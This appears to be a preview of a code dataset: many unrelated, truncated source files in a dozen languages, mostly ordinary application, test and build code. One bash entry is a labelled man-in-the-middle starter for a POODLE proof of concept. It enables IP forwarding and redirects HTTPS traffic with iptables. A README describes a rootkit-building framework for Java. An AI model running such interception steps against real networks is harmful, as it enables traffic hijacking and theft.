text
stringlengths
27
775k
import axios from 'axios' export function request123(config) { const instance123 = axios.create({ baseURL: 'http://123.27.32.32:8000' }) instance123.interceptors.request.use((config) => { return config }, (err) => { console.log(err); }) instance123.interceptors.response.use((res) => { retur...
#include "pch.h" #include "SceneObject.h" SceneObject::SceneObject() { } SceneObject::~SceneObject() { } void SceneObject::CreateRenderers() { for (auto c : *m_components) { c->CreateRenderers(); } } void SceneObject::Init() { for (auto c : *m_components) { c->Init(); } } void SceneObject::Update() { for...
using MvcTemplate.Resources; using System; using System.ComponentModel.DataAnnotations; using System.Reflection; namespace MvcTemplate.Components.Mvc { [AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter)] public class EqualToAttribute : ValidationAttribute { ...
<?php namespace Lagopus\Evento; /** * EventoInterface * Contrato para um Evento * @author Djavan "Ryuuzaki" Fernando * @since 03/04/2017 * @version 1.0.0 */ use Lagopus\Evento\Mensagem\Mensagem; use Lagopus\Evento\Permissao\Permissao; interface EmissorEventoInterface { public func...
(ns rx.browser.pdfjs-styleguide (:require [rx.kitchen-sink :as ks] [rx.browser :as browser] [rx.browser.css :as css] [rx.browser.styleguide :as sg :refer-macros [example]] [rx.browser.forms :as forms] [rx.browser.components :as cmp] ...
import FreeCAD, FreeCADGui import lithophane_image from utils.resource_utils import iconPath import utils.qtutils as qtutils class ImportImageCommand: toolbarName = 'Image_Tools' commandName = 'Import_Image' def GetResources(self): return {'MenuText': "Import Image", 'ToolTip' : "...
require "rails_helper" module BenefitMarkets RSpec.describe ContributionModels::ContributionModel do describe "given nothing" do it "is invalid" do expect(subject.valid?).to be_falsey end it "is missing a title" do subject.valid? expect(subject.errors.has_key?(:title))....
package rape.brutal.bladerunner.beings; /** * Created by ViRGiL7 on 10.02.2017. * Project: library-test * <p> * Strange tech for {@link Replicant} creation from {@link Human} */ public class Replicator { public static Replicant replicate(Human human) { return new Replicant(human); } }
const isFriendly = (element) => { if (element.team === 'FRIENDLY') { return element; } return false; }; export function parseFriendlyPlayer (players) { return players.find(isFriendly); } export function parsePlayerById (players, id) { return players.find((element) => { if (element.id === id) { ...
import 'package:test/test.dart'; import 'package:love/love.dart'; import '../test_utils/test_utils.dart'; void main() { test('System.run', () async { Disposer? disposer; final List<String> states = []; final List<String?> oldStates = []; final List<String?> events = []; bool isDisposed = fal...
export const CLICK = 'click'; export const MOUSE_DOWN = 'mousedown'; export const MOUSE_UP = 'mouseup'; export const MOUSE_OVER = 'mouseover'; export const MOUSE_OUT = 'mouseout'; export const MOUSE_MOVE = 'mousemove'; export const KEY_DOWN = 'keydown'; export const KEY_PRESS = 'keypress'; export const KEY_UP = 'keyup'...
#!/bin/sh ./openethereum --config /home/openethereum/.local/share/openethereum/config.toml --logging debug --unsafe-expose
namespace Neovolve.Toolkit.UnitTests.Instrumentation { using System; using System.Collections.ObjectModel; using System.Diagnostics; using Neovolve.Toolkit.Instrumentation; /// <summary> /// The <see cref="TestTraceSourceResolver"/> /// class is used to assist with unit testing the instr...
#!/usr/bin/env node 'use strict'; const got = require('got'); got.head('bitbucket.com') .then(() => { console.log(`\n ⭐ It's up. Lets commit some awesomeness!`); }) .catch(() => { console.log(`\n 🔥 It's down... Be calm and go outside.`); });
# frozen_string_literal: true module World module Letters::PrimaryCarePhysician module Domain # @section expectations # def expect_doctor_can_review_letter(patient:, doctor:) patient = Renalware::Letters.cast_patient(patient) letter = simple_letter_for(patient) result = ...
# Steps for Adding Passpost Github Oauth 1. Database migration for users - complete 1. Register an application on Github - complete 1. Copy the keys over to the *.env* file - complete 1. Set up the main passport config - complete - mount passport to app middleware - complete - init passport along with session ...
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
var util = require('util'); var EventEmitter = require('events').EventEmitter; var jenkinsApi = require('jenkins-api'); /** * Creates a new JenkinsJobWatcher. It will perform the defined * checks periodically and emit events accordingly. * @param {object} options The options. * @param {string} options.jenkinsUrl T...
namespace SampleModule2 { public interface IAccessCounter { long Count { get; } void Add(); } }
using System.Collections.Generic; using Research.Core; using Research.Data; namespace Research.Services.Common { /// <summary> /// StrategyGroup service interface /// </summary> public partial interface IStrategyGroupService { /// <summary> /// Delete strategyGroup /// </sum...
#!/bin/bash # A simple Man-in-the-Middle attack starter script. # @author: RootDev4 (c) 09/2020 # @url: https://github.com/RootDev4/poodle-PoC echo 1 > /proc/sys/net/ipv4/ip_forward echo "[>] Enabled IP forwarding" iptables -i eth0 -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 4443 echo "[>] Enabled ...
/* * Copyright 2016 The BigDL Authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agr...
:- module(main, [main/0]). :- use_module(lexer). :- use_module(parser). :- use_module(type_checker). :- use_module(interpreter). :- use_module(pretty_printer). :- use_module(library(readutil)). %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % zip_results/3 zip_results([], _, []). ...
// Demo of the `stat` permission type in JavaScript. // This file can be directly run: // - first install `unix-permissions` // - then `node node_modules/unix-permissions/examples/types/stat.js` // An online demo is also available at: // https://repl.it/@ehmicky/unix-permissions import { convert } from 'unix-per...
import { JID, jid } from "@xmpp/jid"; interface IGatewayMember { type: "xmpp"|"matrix"; anonymousJid: JID; } export interface IGatewayMemberXmpp extends IGatewayMember { type: "xmpp"; realJid: JID; devices: JID[]; } export interface IGatewayMemberMatrix extends IGatewayMember { type: "matrix"...
package io.logbee.keyscore.model.data trait MetaDataCompanion { def apply(labels: Label*): MetaData = new MetaData(labels.toSet) }
; Test 64-bit atomic loads. ; ; RUN: llc < %s -mtriple=s390x-linux-gnu | FileCheck %s define i64 @f1(i64 *%src) { ; CHECK-LABEL: f1: ; CHECK: bcr 1{{[45]}}, %r0 ; CHECK: lg %r2, 0(%r2) ; CHECK: br %r14 %val = load atomic i64 *%src seq_cst, align 8 ret i64 %val }
/// <reference path="../_references.ts" /> namespace App { 'use strict'; import calcOrb = Calculator.Orbital; export class MultiLaunchViewController { sc: SatChain; body: Body; get higherPeriod(): number { return calcOrb.period(this.body.radius + this.sc.altitude, thi...
#!/bin/sh ./csfix find . | grep otpl_done | while read line; do rm -r "$line"; done;
import { Logger as LoggerService } from '@nestjs/common' export interface ILoggerService extends LoggerService { init(context?: string, external_source?: string): this }
package de.unisaarland.loladrives.Fragments.license import android.os.Bundle import android.view.LayoutInflater import android.view.View import android.view.ViewGroup import androidx.fragment.app.Fragment import androidx.work.WorkManager import de.unisaarland.loladrives.MainActivity import de.unisaarland.loladrives.R ...
org 50000 ld a,9 ;INK 1; PAPER 1; BRIGHT 0; FLASH 0 ld b,32 ld hl,$5a40 ;draw a 32 char-wide strip loop1: ld (hl),a inc l djnz loop1 ld bc,6143 ld hl,$4000 ld de,$4001 ld a,9 ;fill pattern ld (hl),a ldir fl_bus: ld de,$940 ;attr into D, MSB of port addr into E loop2: dec hl ;[6]padding ...
package mqroute const ( keyTCPDefaultPort = "psmbtcp.default_port" keyMinConnectionTimout = "psmbtcp.min_connection_timeout" keyMqttDeviceID = "mqtt.deviceid" keyMqttScheme = "mqtt.scheme" keyMqttHost = "mqtt.host" keyMqttPort = "mqtt.port" keyMqttUsername ...
//------------------------------------ // (c) Reliable Software, 2000 - 2008 //------------------------------------ #include "precompiled.h" #include "ProjectPropsDlg.h" #include "ProjectOptionsEx.h" #include "ProjectDb.h" #include "OutputSink.h" #include "AppInfo.h" #include "DistributorInfo.h" #include "BrowseForFo...
#!/usr/bin/env bash # exit on error set -o errexit export MIX_ENV=prod # get app name and version from mix.exs export APP_NAME="$(grep 'app:' mix.exs | sed -e 's/\[//g' -e 's/ //g' -e 's/app://' -e 's/[:,]//g')" export APP_VSN="$(grep 'version:' mix.exs | cut -d '"' -f2)" # remove existing builds rm -rf "_build" # ...
<?php class List_model extends CI_Model { private $user; public function __construct() { @$this->user = $this->session->userdata['id']; } // get all lists in the database public function get_lists() { $query = $this->db->get_where('list', array('list_user_id' => $this->user)); ...
""" AOC Day 3 """ from pathlib import Path from typing import List, Union TREE = "#" OPEN = "." def parse_file(filename: Union[str, Path]) -> List[str]: """ Parse the file contents """ with open(filename, "rt") as infile: return [line.strip() for line in infile] def count_trees(spaces: List[str], r...
package us.ihmc.robotics.math.frames; import org.ejml.data.DMatrixRMaj; import us.ihmc.yoVariables.registry.YoRegistry; import us.ihmc.yoVariables.variable.YoDouble; import us.ihmc.yoVariables.variable.YoInteger; /** * YoMatrix. Object for holding a matrix of YoVariables so that Matrices can be rewound. Has a * ma...
var theater = theaterJS({ locale: 'en' }); theater.addActor('gladystext', { accuracy: 0.9, speed: 1, minSpeed: { erase: 90, type: 80 } }); theater .addScene('gladystext:Hi !') .addScene(800) .addScene(-5) .addScene('I\'m Gladys.') .addScene(900) .addScene(-13) .addScene('I\'m your smart a...
import * as builder from "./ast_builder"; export { builder }; export * from "./transformer"; export * from "./nodes"; export * from "./node_types"; export * from "./command_types"; export * from "./printer"; export { parse } from "./parser";
; RUN: %opt -load %pass -souper -S -stats -o - %s 2>&1 | %FileCheck %s ; The main thing being tested here is just that the verifier doesn't error ; because a PHI node comes after another instruction. @c = local_unnamed_addr global i32 0, align 4 @d = local_unnamed_addr global i32 0, align 4 @e = local_unnamed_addr gl...
import React, { FunctionComponent } from 'react' const Content: FunctionComponent = ({ children }) => { return <div>{children}</div> } export function Page({ children }: React.PropsWithChildren<any>) { return <div className="w-full p-4 sm:p-6">{children} </div> } Page.Content = Content
<?php /** * @category Emarsys * @package Emarsys_Emarsys * @copyright Copyright (c) 2020 Emarsys. (http://www.emarsys.net/) */ \Magento\Framework\Component\ComponentRegistrar::register( \Magento\Framework\Component\ComponentRegistrar::MODULE, 'Emarsys_Emarsys', __DIR__ );
<?= $this->extend('layout/templatesadmin'); ?> <?= $this->section('contentadmin'); ?> <div class="container my-1"> <h2 class="m-2">Form edit about</h2> <form action="/admin/updateabout/<?= $about['id']; ?>" method="POST"> <div class="mb-3"> <label for="exampleFormControlTextarea1" class="f...
#!/bin/bash set -euxo pipefail IFS=$'\n\t' images=($(ls images/*.png)) for ((i = 0; i < ${#images[@]}; i += 4)); do files=("${images[@]:i:4}") emojis=($(for f in ${files[@]}; do echo "\`:$(basename $f .png):\`"; done)) columns=$(printf " | %s" "${emojis[@]}") seperators=($(for f in ${files[@]}; do echo ':-:...
// Copyright Boston University SESA Group 2013 - 2016. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #ifndef APPS_MSGTST_SRC_MSGTST_H_ #define APPS_MSGTST_SRC_MSGTST_H_ #include <unordered...
var lIsHoveringCarousel = [false, false, false]; var lIsSelectedCarousel = [true, false, false]; const List<String> lImagesCarousel = [ 'images/page1.jpg', 'images/page2.jpg', 'images/page3.jpg', ]; const List<String> lImagesNamesCarousel = [ 'Page one', 'Page Two', 'Page Three', ];
using Citron.Collections; using System; using System.Collections; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Reflection; using System.Text; using System.Text.RegularExpressions; using System.Threading.Tasks; namespace Citron.Test.IntegrateTest { public...
using UnityEngine; using System.Collections; public class PlayCollisions : MonoBehaviour { /*bool doorIsOpen = false; float doorTimer = 0.0f; public float doorOpenTime = 3.0f; public AudioClip doorOpenSound; public AudioClip doorShutSound;*/ GameObject currentDoor; // Use this for initialization void Start () ...
#!/bin/bash # Export HMM models for use with Julius. # # Parameters: # 1 - Directory name of model to be exported # 2 - "text" if models should be converted to text format before running mkbinhmm # (This may be needed if mkbinhmm would crash otherwise.) # DEBUG set -e rm -f -r $WORK_DIR/export_models mkdir $W...
package controllers import javax.inject.Inject import data.{AccessToken, SchemeClaimOps} import play.api.mvc.{Action, Controller} import scala.concurrent.ExecutionContext class AdminController @Inject()(claims: SchemeClaimOps)(implicit ec: ExecutionContext) extends Controller { def index() = Action.async { impli...
import { useEffect, useMemo, useState, useRef, } from 'react'; import { GetServerSideProps as SSP, GetServerSidePropsContext as SSPC, } from 'next'; import Peer from 'simple-peer'; import jwt from 'jsonwebtoken'; import { v4 as uuidv4 } from 'uuid'; import { Avatar, Box, Flex, Heading, Layout, C...
import { Node } from '../../lib/tree'; import { Expense } from './expense'; interface AccountJSON { left: number; right: number; id: number; name: string; archived: boolean; } export class Account extends Node { public id: number; public name: string; public archived: boolean; public expenses: Array...
using System; using System.Collections.Generic; using System.Linq; using Xunit; namespace Dime.Utilities.Tests { public class TupleExtensionsTests { private class MyClass { public int Id { get; set; } public string Name { get; set; } } [Fact] [T...
// @flow import React from 'react'; import {shallow} from 'enzyme'; import {FormInspector, ResourceFormStore} from 'sulu-admin-bundle/containers'; import {ResourceStore} from 'sulu-admin-bundle/stores'; import {fieldTypeDefaultProps} from 'sulu-admin-bundle/utils/TestHelper'; import ContactAccountSelection from '../../...
import 'platform/platform.dart'; /// Helper to check in which enviroment the library is running. /// The envirment checks (release/debug/profile) are mutually exclusive. class PlatformChecker { PlatformChecker({ this.platform = instance, this.isWeb = identical(0, 0.0), }); /// Check if running in releas...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using DCPUC; using System.Diagnostics; using TriAxis.RunSharp; using System.Reflection; using NotchCpu.Emulator; namespace NotchCpu.CompilerTasks { public class ClassDeclarationNode : CompilableNode { TypeAttributes ...
## webpyBlog webpyBlog是基于web.py的网站内容管理系统,小巧实用,非常适合做博客和个人简历网站。 当前版本为0.2,搭好了基本框架,简单实现了分类、文章的后台管理,前端(使用了bootstrap框架)展示。 项目基于 python3+peewee+templator完成。 ## 功能 - 后台文章,分类,相册,图片的新增,编辑功能 - 后台配置网站信息(设置网站个人信息,网站备案号和版权信息) - 实现文章的搜索功能 - 文章的标签及列表功能 - 文章的分类和列表功能 - 根据设置的相册显示配置的图片和链接 - 添加友情链接功能 - 初步实现个人简历页面 ## todo - 文章推送到百度收...
module Cube where import Graphics.UI.GLUT cube :: GLfloat -> IO() cube w = do renderPrimitive Quads $ do vertex $ Vertex3 w w w vertex $ Vertex3 w w (-w) vertex $ Vertex3 w (-w) (-w) vertex $ Vertex3 w (-w) w vertex $ Vertex3 w w w vertex $ Vertex3 w w (-w) vertex $ Vertex3 (-w) w (-w) ...
import React from 'react'; import { ComponentScreenshot } from '../../../site/src/types'; import { Hidden } from './Hidden'; import { Text } from '../Text/Text'; import { Box } from '../Box/Box'; export const screenshots: ComponentScreenshot = { screenshotWidths: [320, 768, 992, 1200], screenshotOnlyInWireframe: t...
module Security class JsonWebToken SECRET_KEY = Rails.application.secrets.secret_key_base.to_s ALGORITHM = 'HS256'.freeze def self.encode(opts = {}) payload = opts.fetch(:payload) expiration_time = opts.fetch(:exp, 24.hours.from_now) payload[:exp] = expiration_time.to_i JWT.encod...
INSERT INTO base( service, departement, agent_demandeur, agent_beneficiaire, budget_annuel, budget_actuel, date_de_demande, nature, sous_nature, evolution, quantite, phasage, libelle_commande, motivation_demande, com...
import { Request, Response } from "express" import * as Yup from 'yup' import { AtendimentoService } from "../../services/AtendimentoService" export class CreateAtendimentoController{ async handle(request:Request,response:Response){ const Validation = Yup.object().shape({ especialidade:Yup.string().re...
require 'spec_helper' describe EasyTranslate do it 'should have LANGUAGES' do expect(EasyTranslate::LANGUAGES).to be_a(Hash) expect(EasyTranslate::LANGUAGES['en']).to eq('english') end it 'should have a version' do expect(EasyTranslate::VERSION.split('.').length).to eq(3) end end
using System; using System.Collections.Generic; using System.Text; namespace HttpRest { public enum HttpRestResult { Success, Cancel, RequestError, HttpError, SerializeError, Unknown } }
package com.wineguesser.deductive.model.wine.red; import lombok.AllArgsConstructor; import lombok.Data; import lombok.NoArgsConstructor; @Data @NoArgsConstructor @AllArgsConstructor class Color { private int purple; private int ruby; private int garnet; }
. $PSScriptRoot\CommonServerPowerShell.ps1 function Main() { $json = $demisto.Args()["json"] $schema = $demisto.Args()["schema"] if ($schema) { $res = Test-Json -Json $json -Schema $schema -ErrorAction SilentlyContinue -ErrorVariable err } else { $res = Test-Json -Json $json -ErrorA...
# JReFrameworker A practical tool for creating Managed Code Rootkits (MCRs) in the Java Runtime Environment For more details visit: [jreframeworker.com](https://jreframeworker.com/)
<?php namespace Liuggio\Fastest\Queue; class CreateTestsQueueFromSTDINTest extends \PHPUnit\Framework\TestCase { /** * @test * * This test intents to detect problems when reading from stdin, simulating a delayed input into fastest. * * For example stream_set_blocking(stdin, false) was cau...
# AVL树 二叉查找树的树高度影响了查找的效率,需要尽量减小树的高度,AVL树正是这样的树。 目前已经有更加完备的代码实现,请参考:[https://github.com/hunterhug/gomap](https://github.com/hunterhug/gomap/blob/master/README_ZH.md) 。 ## 一、AVL树介绍 AVL树是一棵严格自平衡的二叉查找树,1962年,发明者 `Adelson-Velsky` 和 `Landis` 发表了论文,以两个作者的名字命名了该数据结构,这是较早发明的平衡二叉树。 定义如下: 1. 首先它是一棵二叉查找树。 2. 任意一个节点的左右子树最大高度差...
import { cy, describe, it } from 'local-cypress' import selectors from '../../selectors' const INITIAL_VIEWPORT_WIDTH = 1400 const VIEWPORT_HEIGHT = 200 function clickNTimes(selector: string, numClicks: number) { ;[...Array(numClicks)].forEach(() => { cy.get(selector).click() }) } describe('TabSet - Scrolla...
# frozen_string_literal: true require 'time' module SoapyYandex class Request attr_reader :api_path def initialize(api_path, name, attributes) @api_path = api_path @name = name @attributes = attributes end def to_s Ox.dump(xml, with_xml: true) end private attr...
/* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License; * you may not use this file except in compliance with the Elastic License. */ import { CasePostRequest, CaseResponse, CasesFindResponse, CommentRes...
import Axes from './Axes'; import BarChart from './BarChart'; import StackedBarChart from './StackedBarChart'; import BoxPlot from './BoxPlot'; import GanttChart from './GanttChart'; import ResponsiveWrapper from './ResponsiveWrapper'; import LineChartTime from './LineChartTime'; import Legend from './Legends'; export...
package models import ( "database/sql" "encoding/json" "os" "io/ioutil" "github.com/jmoiron/sqlx" // Add sqlite3 driver _ "github.com/mattn/go-sqlite3" ) const ( databasePath = "data/gosm.db" setupFile = "data/setup.sql" ) // Database The sqlite3 database var Database *sqlx.DB // Connect Connects to t...
#include <EEPROM.h> #include "mqtt_sew.hpp" #include "parser.hpp" void MQTTSew::callback(String topic, String payload, unsigned int length) { DynamicJsonDocument doc = parseString(payload, 60); String sensorId = doc["sensorId"]; // "F4:CF:A2:E3:BC:ED::00:01" int value = doc["value"]; // 0 / 1 String type = d...
-- file:create_table.sql ln:541 expect:true CREATE TABLE fail_part PARTITION OF range_parted2 FOR VALUES FROM (minvalue) TO (2)
<div> <p>Close your eyes. Count to one. That is how long forever feels.</p> <p>The current number is {{ $number }}</p> </div>
TRUNCATE TABLE edit_artist CASCADE; TRUNCATE TABLE edit_label CASCADE; TRUNCATE TABLE edit_recording CASCADE; TRUNCATE TABLE edit_release CASCADE; TRUNCATE TABLE edit_release_group CASCADE; TRUNCATE TABLE edit_url CASCADE; TRUNCATE TABLE edit_work CASCADE; TRUNCATE TABLE cdtoc_raw CASCADE; TRUNCATE TABLE release_raw CA...
#!/usr/bin/bash fspec=$1 num_files=2 # Work out lines per file. total_lines=$(wc -l <${fspec}) ((lines_per_file = (total_lines + num_files - 1) / num_files)) # Split the actual file, maintaining lines. head -n ${lines_per_file} $1 > $1.cut # Debug information echo "$1" echo "Total lines = ${total_lines}" ech...
module Puppet::Parser::Functions newfunction(:portablehomes_excluded_items, :type => :rvalue, :doc => <<-EOS Returns a Array of properly formatted excludeItems Hashes. EOS ) do |args| if args.size != 1 e = "portablehomes_excluded_items(): Too many args! (#{args.size} instead of 1)" raise(Puppet...
#pragma once #include <MY_Game.h> #include <MY_Scene.h> MY_Game::MY_Game() : Game("test", new MY_Scene(this), true) { } MY_Game::~MY_Game(){ } void MY_Game::addSplashes(){ // add default splashes //Game::addSplashes(); // add custom splashes }
package com.example.pavneet_singh.room_demo_kotin_mvvm_dagger.ui import android.os.Bundle import android.view.View import android.widget.Button import android.widget.Toast import androidx.activity.viewModels import androidx.databinding.DataBindingUtil import androidx.lifecycle.ViewModelProvider import androidx.lifecyc...
(ns tech.jeffterrell.draw.parse-rectangle "This namespace contains functions to parse and verify rectangle data attached to a ring request. The functions in this namespace are aware of ring and consume and may return ring request/response maps." (:require [clojure.edn :as edn] [clojure.spec.alpha :a...
import { getContext } from "../Global"; import { intervalToFrequencyRatio, mtof } from "./Conversions"; import { ftom, getA4, setA4 } from "./Conversions"; import { TimeClass } from "./Time"; /** * Frequency is a primitive type for encoding Frequency values. * Eventually all time values are evaluated to hertz using t...
go-flash ======== short tutorial flash message with go-lang run command =========== `go run main.go flash.go` open the browser ================ * `http://localhost:2222` * `http://localhost:2222/setFlashMessage` * `http://localhost:2222/getFlashMessage` request cookie with curl command ========================...
# EAS patches for linux-reneas layer This README file contains information on the contents of the meta-baylibre-agl-eas layer. Please see the corresponding sections below for details. ### Dependencies ------------------------- This layer depends on: * URI: https://gerrit.automotivelinux.org/gerrit/AGL/meta-renes...
package cmd import ( "fmt" "github.com/spf13/cobra" "github.com/spf13/viper" utils "github.com/xuender/go-utils" ) var matchCmd = &cobra.Command{ Use: "match [文件通配类型...]", Aliases: []string{"m"}, Short: "定义通配", Long: ` 设置需要索引的文件包含/排除关系`, RunE: func(cmd *cobra.Command, args []string) error { // 读取配...
{-# LANGUAGE RankNTypes #-} {-# LANGUAGE ScopedTypeVariables #-} {-# LANGUAGE PatternGuards #-} module Language.Haskell.Exference.Core.SearchTree ( SearchTree , SearchTreeValue , SearchTreeBuilder , initialSearchTreeBuilder , buildSearchTree , filterSearchTreeN , filterSearchTreeProcessedN , takeSearch...
using System; using Gtk; using QS.Project.Dialogs.GtkUI; using QS.Tdi; using QSOrmProject; namespace QS.ViewModels.Control.EEVM { public class OrmObjectDialogOpener<TEntity> : IEntityDlgOpener { readonly Func<ITdiTab> GetMyTab; public OrmObjectDialogOpener(Func<ITdiTab> getParrentTab) { GetMyTab = getParr...
#!/usr/bin/env sh worker_name=docker-host virt-install \ --bridge=br0 \ --name "${worker_name}" \ --ram 4096 \ --disk path=/var/lib/libvirt/images/"${worker_name}".qcow2,size=150 \ --vcpus 2 \ --cdrom /var/lib/libvirt/isos/ubuntu-20.04.2-live-server-amd64.iso \ --autostart
import 'package:flutter/material.dart'; import 'package:flutter/cupertino.dart'; import 'package:git_touch/models/theme.dart'; import 'package:git_touch/scaffolds/tab_stateful.dart'; import 'package:git_touch/widgets/app_bar_title.dart'; import 'package:github/github.dart'; import 'package:provider/provider.dart'; impo...
using UnityEngine; using System.Collections; public class PatrolState : State { public float changeStateTime, changeStateTimer = 5f; public PatrolState(GameObject myGameObject):base (myGameObject) { } public override void EnterState() { //This is where you toggle the steering behaviours ON! gameObje...
angular .module('teamform') .filter("bellSwitch", ['Notification', function (Notification) { function checkFunc(state) { if (state) { isOn = 'on'; } else { isOn = 'default'; } return isOn; } return checkFunc; }]);
--- title: '15 новых обоев для Ubuntu' date: '2011-03-11T03:16:17+03:00' uri: 'apps/15-new-wallpaper-ubuntu' alias: - 'apps/15-new-wallpaper-ubuntu.html' tags: 'Обои,Ubuntu Linux' source: '' unixtime: 1299802577 visits: 5957 --- В сети появились несколько новых замечательных обоев для Ubuntu, которые сейчас и рассмо...
import { HashSet } from "../Util/HashSet"; import { Component } from "./Component"; import { IComponentManager } from "./IComponentManager"; export class ComponentManager<T extends Component> implements IComponentManager { protected componentType: new(id: number) => T; public get Type(): new(id: number) => T {...
<?php /* * This file is part of the JVal package. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace JVal; use JVal\Testing\BaseTestCase; class Draft4Test extends BaseTestCase { /** * @dataProvider applyTestProvid...
<?php namespace JYmusic\LaravelAddons\Generators; use League\Flysystem\Filesystem; use League\Flysystem\Adapter\Local as LocalAdapter; class FilesystemFactory { /** * Create a local filesystem. * * @param string $root * * @return \League\Flysystem\Filesystem */ public static fun...
package dev.eastar.branch.model import android.content.Intent import android.location.Location import android.os.Bundle import androidx.core.os.bundleOf import androidx.room.Entity import androidx.room.Ignore import androidx.room.PrimaryKey import com.google.android.gms.maps.model.LatLng import com.google.maps.android...
#if ENGINE_MINOR_VERSION < 25 //UE4.25 refactored UProperties to no longer be UObjects //For compatibility with older engines, added a typedef here rather than polluting code throughout //Decision to put these definitions for older engine compatibility rather than newer engine compatiblity // was made with the view ...